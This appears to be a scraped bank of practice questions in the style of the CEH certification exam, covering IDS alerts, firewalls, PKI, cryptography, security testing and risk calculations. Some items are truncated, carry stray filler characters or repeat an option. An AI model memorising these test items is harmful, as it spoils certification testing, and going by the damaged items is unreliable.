False Negative
False Positive
False Positive
When analyzing the IDS logs, the system administrator noticed an alert was logged when the external router was accessed from the administrator’s Computer to update the router configuration. What type of an alert is this?
True positive
True negative
False positive
False negative
A network administrator received an administrative alert at 3:00 a.m. from the intrusion detection system. The alert was generated because a large number of packets were coming into the network over ports 20 and 21.
During analysis, there were no signs of attack on the FTP servers. How should the administrator classify this situation?
True negatives
False negatives
True positives
False positives
When tuning security alerts, what is the best approach?
Decrease False negatives
Decrease the false positives
Tune to avoid False positives and False Negatives
Rise False positives Rise False Negatives
Sam is working as a pen-tester in an organization in Houston. He performs penetration testing on IDS in order to find the different ways an attacker uses to evade the IDS. Sam sends a large amount of packets to the target IDS that generates alerts, which enable Sam to hide the real traffic. What type of method is Sam using to evade IDS?
False Positive Generation
.,.,,.,,--
Which type of intrusion detection system can monitor and alert on attacks, but cannot stop them?
Detective
Passive
Intuitive
Reactive
Which of the following options represents a conceptual characteristic of an anomaly-based IDS over a signature-based IDS?
Can identify unknown attacks
.,..,,,.,.,.,_
Which of the following does proper basic configuration of snort as a network intrusion detection system require?
Limit the packets captured to the snort configuration file.
Capture every packet on the network segment.
Limit the packets captured to a single segment.
Limit the packets captured to the /var/log/snort directory.
Which one of the following approaches is commonly used to automatically detect host intrusions?
Network traffic analysis
The host’s network interface use
File checksums
System CPU utilization (anything that widely deviates from the norm)
Which solution can be used to emulate computer services, such as mail and ftp, and to capture information related to logins or actions?
Firewall
Honeypot
Core server
Layer 4 switch
To maintain compliance with regulatory requirements, a security audit of the systems on a network must be performed to determine their compliance with security policies. Which of the following tools would MOST LIKELY be used to perform security audit on various of forms of network systems?
Intrusion Detection System
Vulnerability scanner
Port scanner
Protocol analyzer
Bob finished a C programming course and created a small C application to monitor the network traffic and produce alerts when any origin sends many IP packets, based on the average number of packets sent by all origins and using some thresholds.
In concept, the solution developed by Bob is actually
A behavior-based IDS
A signature-based IDS
Just a network monitoring tool
A hybrid IDS
Which of the statements concerning proxy firewalls is correct?
Proxy firewalls increase the speed and functionality of a network.
Firewall proxy servers decentralize all activity for an application.
Proxy firewalls block network packets from passing to and from a protected network.
Computers establish a connection with a proxy firewall which initiates a new network connection for the client.
Which of the following types of firewall inspects only header information in network traffic?
Packet filter
Stateful inspection
Circuit-level gateway
Application-level gateway
Which statement is TRUE regarding network firewalls preventing Web Application attacks?
Network firewalls can prevent attacks because they can detect malicious HTTP traffic.
Network firewalls cannot prevent attacks because ports 80 and 443 must be opened.
Network firewalls can prevent attacks if they are properly configured.
Network firewalls cannot prevent attacks because they are too complex to configure.
A pentester gains access to a Windows application server and needs to determine the settings of the built-in Windows firewall. Which command would be used?
Netsh firewall show config
WMIC firewall show config
Net firewall show config
Ipconfig firewall show config
A possibly malicious sequence of packets that were sent to a web server has been captured by an Intrusion Detection System (IDS) and was saved to a PCAP file. As a network administrator, you need to determine whether these packets are indeed malicious. What tool are you going to use to determine if these packets are genuinely malicious or simply a false positive?
Intrusion Prevention System (IPS)
Vulnerability scanner
Protocol analyzer
Network sniffer
Which type of access control is used on a router or firewall to limit network activity?
Mandatory
Discretionary
Rule-based
Role-based
Which Intrusion Detection System is best applicable for large environments where critical assets on the network need extra security and is ideal for observing sensitive network segments?
Network-based intrusion detection system (NIDS)
Host-based intrusion detection system (HIDS)
Firewalls
Honeypots
The security concept of “separation of duties” is most similar to the operation of which type of security device?
Firewall
Bastion host
Intrusion Detection System
Honeypot
A penetration test was done at a company. After the test, a report was written and given to the company’s IT authorities. A section from the report is shown below:
• Access List should be written between VLANs.
• Port security should be enabled for the intranet.
• A security solution which filters data packets should be set between intranet (LAN) and DMZ.
• A WAF should be used in front of the web applications.
According to the section from the report, which of the following choice is true?
A stateful firewall can be used between intranet (LAN) and DMZ.
MAC Spoof attacks cannot be performed.
There is access control policy between VLANs.
Possibility of SQL Injection attack is eliminated.
Employees in a company are no longer able to access Internet web sites on their computers. The network administrator is able to successfully ping IP address of web servers on the Internet and is able to open web sites by using an IP address in place of the URL. The administrator runs the nslookup command for http://www.eccouncil.org and receives an error message stating there is no response from the server. What should the administrator do next?
Configure the firewall to allow traffic on TCP ports 53 and UDP port 53.
Configure the firewall to allow traffic on TCP ports 80 and UDP port 443.
Configure the firewall to allow traffic on TCP port 53.
Configure the firewall to allow traffic on TCP port 8080.
Which of the following is a hardware requirement that either an IDS/IPS system or a proxy server must have in order to properly function?
Fast processor to help with network traffic analysis
They must be dual-homed
Similar RAM requirements
Fast network interface cards
Bob, a network administrator at BigUniversity, realized that some students are connecting their notebooks in the wired network to have Internet access. In the university campus, there are many Ethernet ports available for professors and authorized visitors but not for students. He identified this when the IDS alerted for malware activities in the network. What should Bob do to avoid this problem?
Ask students to use the wireless network
Use the 802.1x protocol
Separate students in a different VLAN
Disable unused ports in the switches
While conducting a penetration test, the tester determines that there is a firewall between the tester’s machine and the target machine. The firewall is only monitoring TCP handshaking of packets at the session layer of the OSI model. Which type of firewall is the tester trying to traverse?
Packet filtering firewall
Application-level firewall
Circuit-level gateway firewall
Stateful multilayer inspection firewall
A circuit level gateway works at which of the following layers of the OSI Model?
Layer 5 – Application
Layer 4 – TCP
Layer 3 – Internet protocol
Layer 2 – Data link
In the OSI model, where does PPTP encryption take place?
Transport layer
Application layer
Data link layer
Network layer
Which of the following types of firewalls ensures that the packets are part of the established session?
Stateful inspection firewall (distinguish legitimate packets for different connections)
Circuit-level firewall (monitor TCP handshaking)
Application-level firewall (controls input/output)
Switch-level firewall
You are the Systems Administrator for a large corporate organization. You need to monitor all network traffic on your local network for suspicious activities and receive notifications when an attack is occurring. Which tool would allow you to accomplish this goal?
Network-based IDS
Firewall
Proxy
Host-based IDS
An incident investigator asks to receive a copy of the event logs from all firewalls, proxy servers, and Intrusion Detection Systems (IDS) on the network of an organization that has experienced a possible breach of security. When the investigator attempts to correlate the information in all of the logs, the sequence of many of the logged events do not match up.
What is the most likely cause?
The security breach was a false positive.
The attacker altered or erased events from the logs.
The network devices are not all synchronized.
Proper chain of custody was not observed while collecting the logs.
Which security control role does encryption meet?
Preventative
Detective
Offensive
Defensive
Which of the following is the successor of SSL?
TLS
RSA
GRE
IPSec
Advanced encryption standard is an algorithm used for which of the following?
Data integrity
Key discovery
Bulk data encryption
Key recovery
Which type of cryptography does SSL, IKE and PGP belongs to?
Secret Key
Hash Algorithm
Digest
Public Key
Which of the following is a symmetric cryptographic standard?
DSA
PKI
RSA
3DES
Which of the following is designed to verify and authenticate individuals taking part in a data exchange within an enterprise?
SOA
Single-Sign On
PKI
Biometrics
Which of the following is a characteristic of Public Key Infrastructure (PKI)?
Public-key cryptosystems are faster than symmetric-key cryptosystems.
Public-key cryptosystems distribute public-keys within digital signatures.
Public-key cryptosystems do not require a secure key distribution channel.
Public-key cryptosystems do not provide technical non-repudiation via digital signatures.
Which of the following levels of algorithms does Public Key Infrastructure (PKI) use?
RSA 1024 bit strength
AES 1024 bit strength
RSA 512 bit strength
AES 512 bit strength
Which service in a PKI will vouch for the identity of an individual or company?
KDC
CA
CR
CBC
Which of the following defines the role of a root Certificate Authority (CA) in a Public Key Infrastructure (PKI)?
The root CA is the recovery agent used to encrypt data when a user’s certificate is lost.
The root CA stores the user’s hash value for safekeeping.
The root CA is the trusted root that issues certificates.
The root CA is used to encrypt email messages to prevent unintended disclosure of data.
Company A and Company B have just merged and each has its own Public Key Infrastructure (PKI). What must the Certificate Authorities (CAs) establish so that the private PKIs for Company A and Company B trust one another and each private PKI can validate digital certificates from the other company?
Poly key exchange
Cross certification
Poly key reference
Cross-site exchange
Which element of Public Key Infrastructure (PKI) verifies the applicant?
Certificate authority
Validation authority
Registration authority
Verification authority
A Certificate Authority (CA) generates a key pair that will be used for encryption and decryption of email. The integrity of the encrypted email is dependent on the security of which of the following?
Public key
Private key
Modulus length
Email server certificate
A network security administrator is worried about potential man-in-the-middle attacks when users access a corporate web site from their workstations. Which of the following is the best remediation against this type of attack?
Implementing server-side PKI certificates for all connections
Mandating only client-side PKI certificates for all connections
Requiring client and server PKI certificates for all connections
Requiring strong authentication for all DNS queries
Which of the following describes a component of Public Key Infrastructure (PKI) where a copy of a private key is stored to provide third-party access and to facilitate recovery operations?
Key registry
Recovery agent
Directory
Key escrow
Which of the following processes of PKI (Public Key Infrastructure) ensures that a trust relationship exists and that a certificate is still valid for specific operations?
Certificate issuance
Certificate validation
Certificate cryptography
Certificate revocation
XOR is a common cryptographic tool. 10110001 XOR 00111010 is?
10111100
11011000
10011101
10001011
A hacker was able to sniff packets on a company’s wireless network. The following information was discovered:
The Key 10110010 01001011
The Cyphertext 01100101 01011010
Using the Exclusive OR, what was the original message?
00101000 11101110
11010111 00010001
00001101 10100100
11110010 01011011
The network administrator for a company is setting up a website with e-commerce capabilities. Packet sniffing is a concern because credit card information will be sent electronically over the Internet. Customers visiting the site will need to encrypt the data with HTTPS. Which type of certificate is used to encrypt and decrypt the data?
Asymmetric
Confidential
Symmetric
Non-confidential
What is the difference between the AES and RSA algorithms?
Both are asymmetric algorithms, but RSA uses 1024-bit keys.
RSA is asymmetric, which is used to create a public/private key pair; AES is symmetric, which is used to encrypt data.
Both are symmetric algorithms, but AES uses 256-bit keys.
AES is asymmetric, which is used to create a public/private key pair; RSA is symmetric, which is used to encrypt data.
What is the primary drawback to using advanced encryption standard (AES) algorithm with a 256 bit key to share sensitive data?
Due to the key size, the time it will take to encrypt and decrypt the message hinders efficient communication.
To get messaging programs to function with this algorithm requires complex configurations.
It has been proven to be a weak cipher; therefore, should not be trusted to protect sensitive data.
It is a symmetric key algorithm, meaning each recipient must receive the key through a different channel than the message.
The fundamental difference between symmetric and asymmetric key cryptographic systems is that symmetric key cryptography uses which of the following?
Multiple keys for non-repudiation of bulk data
Different keys on both ends of the transport medium
Bulk encryption for data transmission over fiber
The same key on each end of the transmission medium
Which of the following is an example of an asymmetric encryption implementation?
SHA1
PGP
3DES
MD5
A person approaches a network administrator and wants advice on how to send encrypted email from home. The end user does not want to have to pay for any license fees or manage server services. Which of the following is the most secure encryption protocol that the network administrator should recommend?
IP Security (IPSEC)
Multipurpose Internet Mail Extensions (MIME)
Pretty Good Privacy (PGP)
Hyper Text Transfer Protocol with Secure Socket Layer (HTTPS)
To send a PGP encrypted message, which piece of information from the recipient must the sender have before encrypting the message?
Recipient’s private key
Recipient’s public key
Master encryption key
Sender’s public key
Which of the following areas is considered a strength of symmetric key cryptography when compared with asymmetric algorithms?
Scalability
Speed
Key distribution
Security
In which of the following password protection technique, random strings of characters are added to the password before calculating their hashes
Keyed Hashing
Double Hashing
Salting
Key Stretching
This asymmetry cipher is based on factoring the product of two large prime numbers.
What cipher is described above?
RSA
SHA
RC5
MD5
During the process of encryption and decryption, what keys are shared?
Public keys
Public and private keys
Private keys
User passwords
Which of the following Secure Hashing Algorithm (SHA) provides better protection against brute force attacks by producing a 160-bit digest from a message with a maximum length of (264 – 1) bits and resembles the MD5 algorithm?
SHA-0
SHA-2
SHA-1
SHA-3
After gaining access to the password hashes used to protect access to a web based application, knowledge of which cryptographic algorithms would be useful to gain access to the application?
SHA1
Diffie-Helman
RSA
AES
Diffie-Hellman (DH) groups determine the strength of the key used in the key exchange process. Which of the following is the correct bit size of the Diffie-Hellman (DH) group 5?
768 bit key
1025 bit key
1536 bit key
2048 bit key
Which cipher encrypts the plain text digit (bit or byte) one by one?
Classical cipher
Block cipher
Block cipher
Stream cipher
An attacker has captured a target file that is encrypted with public key cryptography. Which of the attacks below is likely to be used to crack the target file?
Timing attack
Replay attack
Memory trade-off attack
Chosen plain-text attack
In which of the following cryptography attack methods, the attacker makes a series of interactive queries, choosing subsequent plaintexts based on the information from the previous encryptions?
Adaptive chosen-plaintext attack
Known-plaintext attack
Chosen-plaintext attack
Ciphertext-only attack
An attacker sniffs encrypted traffic from the network and is subsequently able to decrypt it. The attacker can now use which cryptanalytic technique to attempt to discover the encryption key?
Birthday attack
Plaintext attack
Meet in the middle attack
Chosen ciphertext attack
Which of the following cryptography attack is an understatement for the extraction of cryptographic secrets (e.g. the password to an encrypted file) from a person by coercion or torture?
Ciphertext-only Attack
Rubber Hose Attack
Chosen-Cipher text Attack
Timing Attack
Which of the following cryptography attack methods is usually performed without the use of a computer?
Ciphertext-only attack
Chosen key attack
Rubber hose attack
Rainbow table attack
What is correct about digital signatures?
A digital signature cannot be moved from one signed document to another because it is the hash of the original document encrypted with the private key of the signing party.
Digital signatures may be used in different documents of the same type.
A digital signature cannot be moved from one signed document to another because it is a plain hash of the document content.
Digital signatures are issued once for each user and can be used everywhere until they expire.
What two conditions must a digital signature meet?
Must be unique and have special characters.
Has to be legible and neat.
Has to be unforgeable, and has to be authentic.
Has to be the same number of characters as a physical signature and must be unique.
Cryptography is the practice and study of techniques for secure communication in the presence of third parties (called adversaries). More generally, it is about constructing and analyzing protocols that overcome the influence of adversaries and that are related to various aspects in information security such as data confidentiality, data integrity, authentication, and non-repudiation. Modern cryptography intersects the disciplines of mathematics, computer science, and electrical engineering. Applications of cryptography include ATM cards, computer passwords, and electronic commerce.
Basic example to understand how cryptography works is given below:
SECURE (plain text)
+1 (+1 next letter. for example, the letter “”T”” is used for “”S”” to encrypt.)
TFDVSF (encrypted text)
+ = logic => Algorithm
1 = Factor => Key
Which of the following choices true about cryptography?
Algorithm is not the secret, key is the secret.
Public-key cryptography, also known as asymmetric cryptography, public key is for decrypt, private key is for encrypt.
Symmetric-key algorithms are a class of algorithms for cryptography that use the different cryptographic keys for both encryption of plaintext and decryption of ciphertext
Secure Sockets Layer (SSL) use the asymmetric encryption both (public/private key pair) to deliver the shared session key and to achieve a communication way.
Some passwords are stored using specialized encryption algorithms known as hashes. Why is this an appropriate method?
It is impossible to crack hashed user passwords unless the key used to encrypt them is obtained.
If a user forgets the password, it can be easily retrieved using the hash key stored by administrators.
Hashing is faster compared to more traditional encryption algorithms.
Passwords stored using hashes are non-reversible, making finding the password much more difficult.
For messages sent through an insecure channel, a properly implemented digital signature gives the receiver reason to believe the message was sent by the claimed sender. While using a digital signature, the message digest is encrypted with which key?
Sender’s public key
Receiver’s private key
Receiver’s public key
Sender’s private key
When setting up a wireless network, an administrator enters a pre-shared key for security. Which of the following is true?
The key entered is a symmetric key used to encrypt the wireless data.
The key entered is a hash that is used to prove the integrity of the wireless data.
The key entered is based on the Diffie-Hellman method.
The key is an RSA key used to encrypt the wireless data.
You need to deploy a new web-based software package for your organization. The package requires three separate servers and needs to be available on the Internet. What is the recommended architecture in terms of server placement?
A web server facing the Internet
an application server on the internal network
a database server on the internal network
In the software security development life cycle process, threat modeling occurs in which phase?
Design
Requirements
Verification
Implementation
What is the main disadvantage of the scripting languages as opposed to compiled programming languages?
Scripting languages are hard to learn.
Scripting languages are not object-oriented.
Scripting languages cannot be used to create graphical user interfaces.
Scripting languages are slower because they require an interpreter to run the code.
What is the role of test automation in security testing?
It can accelerate benchmark tests and repeat them with a consistent test setup. But it cannot replace manual testing completely.
Test automation is not usable in security due to the complexity of the tests
It should be used exclusively. Manual testing is outdated because of low speed and possible test setup inconsistencies
It is an option but it tends to be very expensive
Which of the following is a design pattern based on distinct pieces of software providing application functionality as services to other applications?
Service Oriented Architecture
Object Oriented Architecture
Lean Coding
Agile Process
Which of the following is a common Service Oriented Architecture (SOA) vulnerability?
Cross-site scripting
SQL injection
VPath injection
XML denial of service issues
Websites and web portals that provide web services commonly use the Simple Object Access Protocol (SOAP). Which of the following is an incorrect definition or characteristics of the protocol?
Based on XML
Provides a structured model for messaging
Exchanges data between web services
Only compatible with the application protocol HTTP
SOAP services use which technology to format information?
SATA
PCI
XML
ISDN
A software tester is randomly generating invalid inputs in an attempt to crash the program. Which of the following is a software testing technique used to determine if a software program properly handles a wide range of invalid input?
Mutating
Randomizing
Fuzzing
Bounding
Which of the following is an adaptive SQL injection testing technique used to discover coding errors by inputting massive amounts of random data and observing the changes in the output?
Dynamic Testing (Analyze dynamic code behavior)
Function Testing (QA, Black box based on software specifications)
Fuzzing Testing
Static Testing (Review, Walkthrough without executing code)
Sid is a judge for a programming contest. Before the code reaches him it goes through a restricted OS and is tested there. If it passes, then it moves onto Sid. What is this middle step called?
Third party running the code
Fuzzy-testing the code
String validating the code
Sandboxing the code
Which of the following is a restriction being enforced in “white box testing?”
Only the internal operation of a system is known to the tester
The internal operation of a system is completely known to the tester
The internal operation of a system is only partly accessible to the tester
Only the external operation of a system is accessible to the tester
The “gray box testing” methodology enforces what kind of restriction?
The internal operation of a system is only partly accessible to the tester.
The internal operation of a system is completely known to the tester.
Only the external operation of a system is accessible to the tester.
Only the internal operation of a system is known to the tester.
The “black box testing” methodology enforces what kind of restriction?
The internal operation of a system is only partly accessible to the tester.
The internal operation of a system is completely known to the tester.
Only the external operation of a system is accessible to the tester.
Only the internal operation of a system is known to the tester.
A penetration tester is hired to do a risk assessment of a company’s DMZ. The rules of engagement states that the penetration test be done from an external IP address with no prior knowledge of the internal IT systems.
What kind of test is being performed?
white box
grey box
red box
black box
What type of analysis is performed when an attacker has partial knowledge of inner-workings of the application?
Black-box
Announced
Grey-box
White-box
Seth is starting a penetration test from inside the network. He hasn’t been given any information about the network. What type of test is he conducting?
Internal, Whitebox
Internal, Blackbox
External,Blackbox
External, Whitebox
Risks = Threats x Vulnerabilities is referred to as the:
Risk equation
Threat assessment
BIA equation
Disaster recovery formula
In Risk Management, how is the term “likelihood” related to the concept of “threat?”
Likelihood is the probability that a threat-source will exploit a vulnerability.
Likelihood is a possible threat-source that may exploit a vulnerability.
Likelihood is the likely source of a threat that could exploit a vulnerability.
Likelihood is the probability that a vulnerability is a threat-source.
What kind of risk will remain even if all theoretically possible safety measures would be applied?
Residual risk
Inherent risk
Impact risk
Deferred risk
If the final set of security controls does not eliminate all risk in a system, what could be done next?
Continue to apply controls until there is zero risk.
Ignore any remaining risk.
If the residual risk is low enough, it can be accepted.
Remove current controls since they are not completely effective.
One of the Forbes 500 companies has been subjected to a large scale attack. You are one of the shortlisted pen testers that they may hire. During the interview with the CIO, he emphasized that he wants to totally eliminate all risks. What is one of the first things you should do when hired?
Interview all employees in the company to rule out possible insider threats.
Establish attribution to suspected attackers.
Explain to the CIO that you cannot eliminate all risk, but you will be able to reduce risk to acceptable levels.
Start the Wireshark application to start sniffing network traffic.
What information should an IT system analysis provide to the risk assessor?
Management buy-in
Threat statement
Security architecture
Impact analysis
The practical realities facing organizations today make risk response strategies essential. Which of the following is NOT one of the five basic responses to risk?
Accept
Mitigate
Delegate
Avoid
Which of the following is considered an acceptable option when managing a risk?
Reject the risk.
Deny the risk.
Mitigate the risk.
Initiate the risk.
Which of the following is a component of a risk assessment?
Administrative safeguards
Physical security
DMZ
Logical interface
On performing a risk assessment, you need to determine the potential impacts when some of the critical business processes of the company interrupt its service. What is the name of the process by which you can determine those critical businesses?
Business Impact Analysis (BIA)
Disaster Recovery Planning (DRP)
Emergency Plan Response (EPR)
Risk Mitigation
Which of the following lists are valid data-gathering activities associated with a risk assessment?
Threat identification, vulnerability identification, control analysis
Threat identification, response identification, mitigation identification
Attack profile, defense profile, loss profile
System profile, vulnerability identification, security determination
The chance of a hard drive failure is known to be once every four years. The cost of a new hard drive is $500. EF (Exposure Factor) is about 0.5. Calculate for the Annualized Loss Expectancy (ALE).
$62.5
$250
$125
$65.2
What is the approximate cost of replacement and recovery operation per year of a hard drive that has a value of $300 given that the technician who charges $10/hr would need 10 hours to restore OS and Software and needs further 4 hours to restore the database from the last backup to the new hard disk? Calculate the SLE, ARO, and ALE. Assume the EF = 1 (100%).
$440
$100
$1320
$146
Which tier in the N-tier application architecture is responsible for moving and processing data between the tiers?
Data tier
Presentation tier
Logic tier
Application Layer
Which statement best describes a server type under an N-tier architecture?
A group of servers at a specific layer
A single server with a specific role
A group of servers with a unique role
A single server at a specific layer
Which of the following items is unique to the N-tier architecture method of designing software applications?
Application layers can be separated, allowing each layer to be upgraded independently from other layers.
It is compatible with various databases including Access, Oracle, and SQL.
Data security is tied into each layer and must be updated for all layers when any upgrade is performed.
Application layers can be written in C, ASP.NET, or Delphi without any performance loss.
What is the benefit of performing an unannounced Penetration Testing?
The tester will have an actual security posture visibility of the target network.
Network security would be in a “best state” posture.
It is best to catch critical infrastructure unpatched.
The tester could not provide an honest analysis.
Which method can provide a better return on IT security investment and provide a thorough and comprehensive assessment of organizational security covering policy, procedure design, and implementation?
Penetration testing
Social engineering
Vulnerability scanning
Access control list reviews
Explore all questions with a free account